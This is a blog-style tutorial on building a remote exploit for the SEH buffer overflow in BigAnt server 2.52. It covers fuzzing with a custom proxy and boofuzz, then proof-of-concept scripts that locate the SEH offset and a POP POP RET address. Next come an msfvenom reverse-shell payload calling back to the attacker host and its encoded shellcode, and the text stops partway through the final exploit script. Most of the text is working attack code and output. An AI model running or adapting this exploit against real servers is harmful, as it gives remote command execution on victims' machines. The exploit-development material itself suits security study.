Posts BigAnt server 2.52 buffer overflow exploit
Post
Cancel

BigAnt server 2.52 buffer overflow exploit

Introduction

BigAnt is client/server application which provides enterprise instant messaging solution. Buffer overflow vulnerability (SEH overwrite) was discovered in version 2.52 back in 2010 (or even earlier). Application can still be downloaded from vendor’s webpage:

In this blog post custom python TCP proxy and boofuzz with post_test_case_callbacks were used to find vulnerability. There are better and faster ways to create fuzzing template and detect crash (Wireshart, procmon pyton script etc.) but this is also one way to do it.

Fuzzing

In order to create fuzzing template, first we need to perform protocol analysis. One way to do it is to install BigAnt chat client and intercept traffic from chat client to the server. Traffic can be intercepted by Wireshark, Burp or similar tool. Instead of setting up Burp to work with non-HTTP traffic, or use Wireshak let’s try something else. We can write a simple, (not even fully functional) python script to act as a TCP proxy and see what we get.

Once script it ready, instead of actual BigAnt server IP address we need to setup a chat client to connect to attacking machine (172.16.24.204) where our proxy script will accept incoming connections on TCP port 6660. Once the data is received, the script will print it on stdout and forward data to the server listening on IP address 172.16.24.213 at port 6660. Script will then get reposnse from server, display it and forward it back to the client.

Fuzzing results

  • TCP proxy:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python

import socket

host = "172.16.24.213"
port = 6660

sock_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_server.settimeout(5)

sock_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_client.settimeout(5)

sock_client.bind(('172.16.24.204', 6660))
sock_client.listen(15)

while True:
   try:
      client, addr = sock_client.accept()
      sock_server.connect(("172.16.24.213",6660))

      while True:
         try:
            data_from_client = client.recv(1024)
            print data_from_client
            if not data_from_client:
               break
            else:
               sock_server.send(data_from_client)
         except:
            pass

         try:
            data_from_server = sock_server.recv(1024)
            if not data_from_server:
               break
            else:
               print data_from_server
               client.send(data_from_server)                                                                                                         
         except:                                                                                                                                     
            pass                                                                                                                                     
   except:                                                                                                                                           
      pass                                                                                                                                           
                                                                                                                                                     
   sock_server.close()                                                                                                                               
   client.close()

TCP proxy managed to capture following data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
USR L ATEN pero 65706f7204 
aenflag:0
clientver:29702
cmdid:410
loginflag:0
macaddr:00-0C-29-53-FD-72
msgserver:
msgserverprot:0
status:3


USR OK 4 pero pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F} 09C8C8DD-3890-4E2C-9F03-A182807B72BE 0 0 10000
aenflag:0
allusers:4
attachsize:-1
baseace:17
clientminver:55801
cmdid:410
companyname:test
inviews:1
itemindex:10000
leaveday:28
limitrate:-1
msends:-1
note:
pic:
scmderid:{C05693B0-BEBA-48EC-8BE7-CA178C10787B}
serverflag:2
servertime:2020-07-23 08:25:44
vertype:1


USV pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F}
aenflag:0
cmdid:418
macaddr:00-0C-29-53-FD-72
mastcmd:CCL


USV pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F}
aenflag:0
cmdid:418
scmderid:{C33E319F-BDA0-44BB-A8D8-34D627A6C103}


CCL
aenflag:0
cmdid:417
ismast:1
userstate:1


ERR 0 222


llusers:4
attachsize:-1
baseace:17
clientminver:55801
cmdid:410
companyname:test
inviews:1
itemindex:10000
leaveday:28
limitrate:-1
msends:-1
note:
pic:
scmderid:{C05693B0-BEBA-48EC-8BE7-CA178C10787B}
serverflag:2
servertime:2020-07-23 08:25:44
vertype:1


USV pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F}
aenflag:0
cmdid:418
macaddr:00-0C-29-53-FD-72
mastcmd:CCL


USV pero {70F74C02-1E91-48CC-80D0-772ABA7EB19F}
aenflag:0
cmdid:418
scmderid:{C33E319F-BDA0-44BB-A8D8-34D627A6C103}


CCL
aenflag:0
cmdid:417
ismast:1
userstate:1

Although script is not perfect and application keeps disconnecting after some time, we still managed to capture several commands: USR, USV, CCL, OUT which are sent from chat client to server.

As next step we need to manually simulate client application with netcat and observe behaviour in more details. When we manually connect to server we can see that server is not sending any banner. Further on, when client sends command, response is not received unless two new lines “\r\n\r\n” are sent after command.

Fuzzing results

If command is not successful application returns ERR and error number together with other details.
Based on information we collected we can create fuzzing template. Since this is not a HTTP protocol, it might be useful to store both: previous and current payload as we might be able to detect crash only after next payload is sent or about to be sent.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python
import sys
from boofuzz import *

host = '172.16.24.213'
port = 6660
last =""

def receive_response(target, fuzz_data_logger, session, sock):
   data=sock.recv(20000)
   global last
   if not "ERR" in data:
      print "[+] No data received from BigAnt server after sending payload"
      print "[+] Payload appended in bigant_crash_report.txt"
      f = open("bigant_crash_report.txt", "a")
      f.write("Length: " + str(len(session.last_send)) + "\r\n" + "request: " + str(session.last_send) + "\r\nResponse: " + str(data) +"\r\n\r\n")
      f.close()
      #sys.exit(-1)
   else:
      last=session.last_send

def main():
   session = Session(post_test_case_callbacks=[receive_response], sleep_time=0.2, target = Target(connection = SocketConnection(host, port, proto='tcp')))

   s_initialize("USR")
   s_string("USR", fuzzable = False)
   s_delim(" ", fuzzable = False)
   s_string("L", fuzzable = False)
   s_delim(" " , fuzzable = False)
   s_string("ATEN" , fuzzable = False)
   s_delim(" " , fuzzable = False)
   s_string("FUZZ" , fuzzable = True)
   s_string("\r\n\r\n" , fuzzable = False)

   s_initialize("CCL")
   s_string("CCL", fuzzable = False)
   s_delim(" ", fuzzable = False)
   s_string("FUZZ" , fuzzable = True)
   s_string("\r\n\r\n" , fuzzable = False)

   s_initialize("USV")
   s_string("USV", fuzzable = False)
   s_delim(" ", fuzzable = False)
   s_string("FUZZ" , fuzzable = True)
   s_string("\r\n\r\n" , fuzzable = False)

   s_initialize("OUT")
   s_string("OUT", fuzzable = False)
   s_delim(" ", fuzzable = False)
   s_string("FUZZ" , fuzzable = True)
   s_string("\r\n\r\n" , fuzzable = False)

   session.connect(s_get("USR"))
   session.connect(s_get("CCL"))
   session.connect(s_get("USV"))
   session.connect(s_get("OUT"))
   session.fuzz()

if __name__ == "__main__":
    main()

There were several cases when server would not reply and application would crash but neither EIP or SHE was overwritten which is not a useful case for writing exploit.

Fuzzing results

Fuzzing results

Fuzzing results

However combination on USV command and large buffer (5000 characters) managed to overwrite SE handler (SEH). As show on following screenshot SEH was overwritten with 4 “A” characters (A is represented as 41 in hex).

Fuzzing results

Testing the fuzz result with proof of concept script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python

import socket

host = "172.16.24.213"
port = 6660

buffer = "USV /.:/" + 5000 * "A" + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()

Result:

Fuzzing results

Great, it works. Now we need to find location of SEH by sending unique pattern:

1
2
msf-pattern_create -l 5000 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6....

Updated PoC script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python

import socket

host = "172.16.24.213"
port = 6660

pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

#buffer = "USV /.:/" + 5000 * "A" + "\r\n\r\n"
buffer = "USV /.:/" + pattern + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()

SEH was overwritten by value 31674230:

Fuzzing results

Finding SEH location based on value:

1
2
msf-pattern_offset -l 5000 -q 31674230
[*] Exact match at offset 962

SEH location starts 962 bytes after USV /.:/.
Updated PoC script can be used to verify proper SEH overwrite.

1
2
#buffer = "USV /.:/" + 5000 * "A" + "\r\n\r\n"
buffer = "USV /.:/" + "A" * 962 + "B" * 4 + "C" * (5000-962-4) + "\r\n\r\n"

Fuzzing results

In order to exploit SEH overwrite, we need to find POP, POP, RET instruction sequence in order to reach our payload on the stack. To find POP, POP, RET mona can be used as follows:

!mona findwild -s "POP R32# POP R32# RET"

Fuzzing results

We can try any address which doesn’t have common bad characters (\x00\x0a\x0d) and it is located within “SafeSEH: False” module, for example this one:

1
2
#POP, POP, RETN: 0x1b070c69
SEH = "\x69\x0c\x07\x1b" # written in reverse order due to little endian
  • PoC script updated with SEH address:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python

import socket

host = "172.16.24.213"
port = 6660

# pop, pop, ret 0x1b070c69
SEH = "\x69\x0c\x07\x1b"

buffer = "USV /.:/" + "A" * 962 + SEH + "\x90" * 10 + "C" * (5000 - 962 - len(SEH) - 10) + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()

Great, we land 4 bytes in front of overwritten SEH address.

Fuzzing results

As next step we need to use those (2 out of) 4 bytes to perform uncoditional jump over SEH address ("\xeb\x07") and land in space where we could place our shellcode.

  • PoC script updated with jump over SEH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python

import socket

host = "172.16.24.213"
port = 6660

# pop, pop, ret 0x1b070c69
SEH = "\x69\x0c\x07\x1b"
JMP = "\xeb\x07"

buffer = "USV /.:/" + "A" * 962 + JMP + SEH + "\x90" * 10 + "C" * (5000 - 962 - len(SEH) - len(JMP) - 10) + "\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(buffer)
print ("[+] Payload sent")
s.close()

Bad characters and shell code

Process of finding bad characters was explained several times in previous blog posts. Following chars were eventually found to be bad: "\x00\x0a\x0d\x20\x25"

Based on that information we can use msfvenom to generate reverse shell code without bad characters:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
msfvenom -p windows/shell_reverse_tcp LHOST=172.16.24.204 LPORT=4444 -f python -a x86 -b "\x00\x0a\x0d\x20\x25" 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xbb\xe2\x01\xdf\xc8\xdd\xc0\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x52\x31\x5a\x12\x83\xc2\x04\x03\xb8\x0f\x3d"
buf += b"\x3d\xc0\xf8\x43\xbe\x38\xf9\x23\x36\xdd\xc8\x63\x2c"
buf += b"\x96\x7b\x54\x26\xfa\x77\x1f\x6a\xee\x0c\x6d\xa3\x01"
buf += b"\xa4\xd8\x95\x2c\x35\x70\xe5\x2f\xb5\x8b\x3a\x8f\x84"
buf += b"\x43\x4f\xce\xc1\xbe\xa2\x82\x9a\xb5\x11\x32\xae\x80"
buf += b"\xa9\xb9\xfc\x05\xaa\x5e\xb4\x24\x9b\xf1\xce\x7e\x3b"
buf += b"\xf0\x03\x0b\x72\xea\x40\x36\xcc\x81\xb3\xcc\xcf\x43"
buf += b"\x8a\x2d\x63\xaa\x22\xdc\x7d\xeb\x85\x3f\x08\x05\xf6"
buf += b"\xc2\x0b\xd2\x84\x18\x99\xc0\x2f\xea\x39\x2c\xd1\x3f"
buf += b"\xdf\xa7\xdd\xf4\xab\xef\xc1\x0b\x7f\x84\xfe\x80\x7e"
buf += b"\x4a\x77\xd2\xa4\x4e\xd3\x80\xc5\xd7\xb9\x67\xf9\x07"
buf += b"\x62\xd7\x5f\x4c\x8f\x0c\xd2\x0f\xd8\xe1\xdf\xaf\x18"
buf += b"\x6e\x57\xdc\x2a\x31\xc3\x4a\x07\xba\xcd\x8d\x68\x91"
buf += b"\xaa\x01\x97\x1a\xcb\x08\x5c\x4e\x9b\x22\x75\xef\x70"
buf += b"\xb2\x7a\x3a\xd6\xe2\xd4\x95\x97\x52\x95\x45\x70\xb8"
buf += b"\x1a\xb9\x60\xc3\xf0\xd2\x0b\x3e\x93\x70\xdb\x58\xaf"
buf += b"\xe1\xde\x58\x3e\xae\x57\xbe\x2a\x5e\x3e\x69\xc3\xc7"
buf += b"\x1b\xe1\x72\x07\xb6\x8c\xb5\x83\x35\x71\x7b\x64\x33"
buf += b"\x61\xec\x84\x0e\xdb\xbb\x9b\xa4\x73\x27\x09\x23\x83"
buf += b"\x2e\x32\xfc\xd4\x67\x84\xf5\xb0\x95\xbf\xaf\xa6\x67"
buf += b"\x59\x97\x62\xbc\x9a\x16\x6b\x31\xa6\x3c\x7b\x8f\x27"
buf += b"\x79\x2f\x5f\x7e\xd7\x99\x19\x28\x99\x73\xf0\x87\x73"
buf += b"\x13\x85\xeb\x43\x65\x8a\x21\x32\x89\x3b\x9c\x03\xb6"
buf += b"\xf4\x48\x84\xcf\xe8\xe8\x6b\x1a\xa9\x19\x26\x06\x98"
buf += b"\xb1\xef\xd3\x98\xdf\x0f\x0e\xde\xd9\x93\xba\x9f\x1d"
buf += b"\x8b\xcf\x9a\x5a\x0b\x3c\xd7\xf3\xfe\x42\x44\xf3\x2a"

Final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python

import socket

host = "172.16.24.213"
port = 6660

# pop, pop, ret 0x0f9c8dd4
# 0x1b070c69
SEH = "\x69\x0c\x07\x1b"
JMP = "\xeb\x07"

# BAD chars: \x00\x0a\x0d\x20\x25

# msfvenom -p windows/shell_reverse_tcp LHOST=172.16.24.204 LPORT=4444 -f python -a x86 -b "\x00\x0a\x0d\x20\x25"
buf =  b""
buf += b"\xbb\xe2\x01\xdf\xc8\xdd\xc0\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x52\x31\x5a\x12\x83\xc2\x04\x03\xb8\x0f\x3d"
buf += b"\x3d\xc0\xf8\x43\xbe\x38\xf9\x23\x36\xdd\xc8\x63\x2c"
buf += b"\x96\x7b\x54\x26\xfa\x77\x1f\x6a\xee\x0c\x6d\xa3\x01"
buf += b"\xa4\xd8\x95\x2c\x35\x70\xe5\x2f\xb5\x8b\x3a\x8f\x84"
buf += b"\x43\x4f\xce\xc1\xbe\xa2\x82\x9a\xb5\x11\x32\xae\x80"
buf += b"\xa9\xb9\xfc\x05\xaa\x5e\xb4\x24\x9b\xf1\xce\x7e\x3b"
buf += b"\xf0\x03\x0b\x72\xea\x40\x36\xcc\x81\xb3\xcc\xcf\x43"
buf += b"\x8a\x2d\x63\xaa\x22\xdc\x7d\xeb\x85\x3f\x08\x05\xf6"
buf += b"\xc2\x0b\xd2\x84\x18\x99\xc0\x2f\xea\x39\x2c\xd1\x3f"
buf += b"\xdf\xa7\xdd\xf4\xab\xef\xc1\x0b\x7f\x84\xfe\x80\x7e"
buf += b"\x4a\x77\xd2\xa4\x4e\xd3\x80\xc5\xd7\xb9\x67\xf9\x07"
buf += b"\x62\xd7\x5f\x4c\x8f\x0c\xd2\x0f\xd8\xe1\xdf\xaf\x18"
buf += b"\x6e\x57\xdc\x2a\x31\xc3\x4a\x07\xba\xcd\x8d\x68\x91"
buf += b"\xaa\x01\x97\x1a\xcb\x08\x5c\x4e\x9b\x22\x75\xef\x70"
buf += b"\xb2\x7a\x3a\xd6\xe2\xd4\x95\x97\x52\x95\x45\x70\xb8"
buf += b"\x1a\xb9\x60\xc3\xf0\xd2\x0b\x3e\x93\x70\xdb\x58\xaf"
buf += b"\xe1\xde\x58\x3e\xae\x57\xbe\x2a\x5e\x3e\x69\xc3\xc7"
buf += b"\x1b\xe1\x72\x07\xb6\x8c\xb5\x83\x35\x71\x7b\x64\x33"
buf += b"\x61\xec\x84\x0e\xdb\xbb\x9b\xa4\x73\x27\x09\x23\x83"
buf += b"\x2e\x32\xfc\xd4\x67\x84\xf5\xb0\x95\xbf\xaf\xa6\x67"
